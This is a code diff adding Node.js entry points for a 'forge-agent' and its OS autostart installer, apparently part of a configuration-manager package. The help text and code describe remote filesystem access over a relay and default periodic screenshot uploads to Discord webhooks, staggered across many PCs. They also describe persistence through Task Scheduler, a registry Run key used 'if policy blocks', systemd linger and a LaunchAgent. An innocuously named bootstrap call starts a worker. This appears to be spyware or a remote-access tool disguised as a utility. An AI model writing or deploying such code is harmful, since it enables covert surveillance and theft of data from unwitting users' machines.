+ /** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
5
+ require("./envLoad");
6
+ const clientId_1 = require("./clientId");
7
+ const agentEnvFile_1 = require("./autostart/agentEnvFile");
8
+ const manifest_1 = require("./autostart/manifest");
9
+ const agentRunner_1 = require("./agentRunner");
10
+ function bootstrapSyncEnvFromDisk() {
11
+ const dir = (0, clientId_1.defaultCfgmgrDataDir)();
12
+ (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
13
+ (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
14
+ const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
15
+ (process.env.CFGMGR_API_URL || "").trim() ||
16
+ (process.env.CFGMGR_CFG || "").trim();
17
+ if (have)
18
+ return;
19
+ const u = (0, manifest_1.readManifest)(dir)?.options?.syncApiUrl?.trim();
20
+ if (u) {
21
+ process.env.FORGE_JS_SYNC_URL = u;
22
+ process.env.CFGMGR_API_URL = u;
23
+ }
24
+ }
25
+ if (process.argv.includes("-h") || process.argv.includes("--help")) {
26
+ console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
27
+ `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
28
+ `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
29
+ ` Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
30
+ ` To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
31
+ ` Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
32
+ `Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
33
+ `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — if unset on the agent,\n` +
34
+ ` screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
35
+ ` Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
36
+ ` FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
37
+ ` FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
38
+ ` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
39
+ ` FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
40
+ ` FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
41
+ `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
42
+ process.exit(0);
43
+ }
44
+ try {
45
+ bootstrapSyncEnvFromDisk();
46
+ const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
47
+ if (!opts) {
48
+ console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
49
+ process.exit(2);
50
+ }
51
+ (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
52
+ }
53
+ catch (e) {
54
+ console.error("forge-agent:", e instanceof Error ? e.message : e);
55
+ process.exit(2);
56
+ }
@@ -0,0 +1,2 @@
1
+ #!/usr/bin/env node
2
+ export {};
@@ -0,0 +1,92 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ /**
5
+ * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
6
+ */
7
+ const install_1 = require("./autostart/install");
8
+ function parseArgs(argv) {
9
+ const opts = {
10
+ relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
11
+ process.env.CFGMGR_RELAY_URL?.trim() ||
12
+ "",
13
+ };
14
+ let cmd = "help";
15
+ for (let i = 2; i < argv.length; i++) {
16
+ const a = argv[i];
17
+ if (a === "install")
18
+ cmd = "install";
19
+ else if (a === "uninstall")
20
+ cmd = "uninstall";
21
+ else if (a === "status")
22
+ cmd = "status";
23
+ else if (a === "-h" || a === "--help")
24
+ cmd = "help";
25
+ else if (a === "--relay" && argv[i + 1]) {
26
+ opts.relayUrl = argv[++i];
27
+ }
28
+ else if (a === "--session" && argv[i + 1]) {
29
+ opts.session = argv[++i];
30
+ }
31
+ else if (a === "--password" && argv[i + 1]) {
32
+ opts.password = argv[++i];
33
+ }
34
+ else if (a === "--no-password")
35
+ opts.noPassword = true;
36
+ else if (a === "--no-filesystem")
37
+ opts.noFilesystem = true;
38
+ }
39
+ return { cmd, opts };
40
+ }
41
+ function printHelp() {
42
+ console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
43
+
44
+ Usage:
45
+ forge-autostart install --relay <ws://host:9877> [options]
46
+ forge-autostart uninstall
47
+ forge-autostart status
48
+
49
+ Options (install):
50
+ --relay URL WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
51
+ --session ID Optional session id (else uses persisted .client_id)
52
+ --password P Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
53
+ --no-password Agent without password
54
+ --no-filesystem Disable fs explorer on agent
55
+
56
+ Behavior:
57
+ Windows: Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
58
+ Linux: systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
59
+ macOS: ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
60
+
61
+ Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
62
+ `);
63
+ }
64
+ const { cmd, opts } = parseArgs(process.argv);
65
+ if (cmd === "help") {
66
+ printHelp();
67
+ process.exit(0);
68
+ }
69
+ if (cmd === "status") {
70
+ console.log(JSON.stringify((0, install_1.statusAutostart)(), null, 2));
71
+ process.exit(0);
72
+ }
73
+ if (cmd === "uninstall") {
74
+ (0, install_1.uninstallAutostart)();
75
+ console.log("forge-autostart: uninstall completed.");
76
+ process.exit(0);
77
+ }
78
+ if (cmd === "install") {
79
+ if (!opts.relayUrl.trim()) {
80
+ console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
81
+ process.exit(2);
82
+ }
83
+ const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
84
+ if (ok) {
85
+ console.log("forge-autostart: install completed.");
86
+ process.exit(0);
87
+ }
88
+ console.error("forge-autostart: install failed.");
89
+ process.exit(1);
90
+ }
91
+ printHelp();
92
+ process.exit(2);
@@ -0,0 +1,2 @@
1
+ #!/usr/bin/env node
2
+ export {};
@@ -0,0 +1,5 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ const workerBootstrap_1 = require("./workerBootstrap");
5
+ (0, workerBootstrap_1.configurationConstants)();
@@ -0,0 +1,2 @@
1
+ #!/usr/bin/env node
2
+ export {};